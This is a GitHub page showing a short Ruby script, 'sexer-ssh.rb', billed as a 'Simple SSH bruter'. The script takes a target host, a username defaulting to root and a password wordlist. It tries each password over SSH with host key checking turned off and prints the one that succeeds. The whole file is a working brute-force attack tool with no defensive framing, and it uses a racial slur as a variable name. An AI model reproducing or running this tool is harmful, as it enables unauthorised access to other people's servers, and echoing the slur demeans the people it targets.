-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathsexer-ssh.rb
60 lines (56 loc) · 2.71 KB
/
sexer-ssh.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
require 'net/ssh'
puts """
██████╗███████╗██╗ ██╗███████╗██████╗ ██████╗ ██████╗██╗ ██╗
██╔════╝██╔════╝╚██╗██╔╝██╔════╝██╔══██╗ ██╔════╝██╔════╝██║ ██║
╚█████╗ █████╗ ╚███╔╝ █████╗ ██████╔╝ ╚█████╗ ╚█████╗ ███████║
╚═══██╗██╔══╝ ██╔██╗ ██╔══╝ ██╔══██╗ ╚═══██╗ ╚═══██╗██╔══██║
██████╔╝███████╗██╔╝╚██╗███████╗██║ ██║ ██████╔╝██████╔╝██║ ██║
╚═════╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
Simple SSH bruter, made by komodo.
"""
def main
begin
print "[+] host: "
host = gets.chomp
print "[?] user: 'root', change it? y/n "
nigga = gets.chomp
if nigga == "y"
print "[+] user: "
user = gets.chomp
elsif nigga == "n"
user = "root"
end
print "[+] wordlist: "
wordlist = gets.chomp
puts "\n"
sex = File.open(wordlist)
magik = sex.map {|x| x.chomp}
magik.each do |pass|
begin
Net::SSH.start(host, user, password: pass, :auth_methods => ["password"],
:port => 22, :verify_host_key => :never,
:non_interactive => true, :timeout => 5) do |ssh|
print ssh
puts "\n[!] Password found! #{pass}"
break
end
rescue Net::SSH::AuthenticationFailed => no
puts "\r#{no}, password '#{pass}'"
puts "\n"
rescue Net::SSH::Timeout
puts "Error: #{host} has disconnected"
rescue Errno::ECONNREFUSED
puts "Error: connection refused."
rescue Net::SSH::ConnectionTimeout
puts "Error: #{host} isn't alive."
rescue Net::SSH::Authentication::DisallowedMethod
puts "Error: #{host} disallow the password authentication method."
end
end
rescue => exception
puts "[-] ERROR"
print exception
puts "\n"
end
end
print main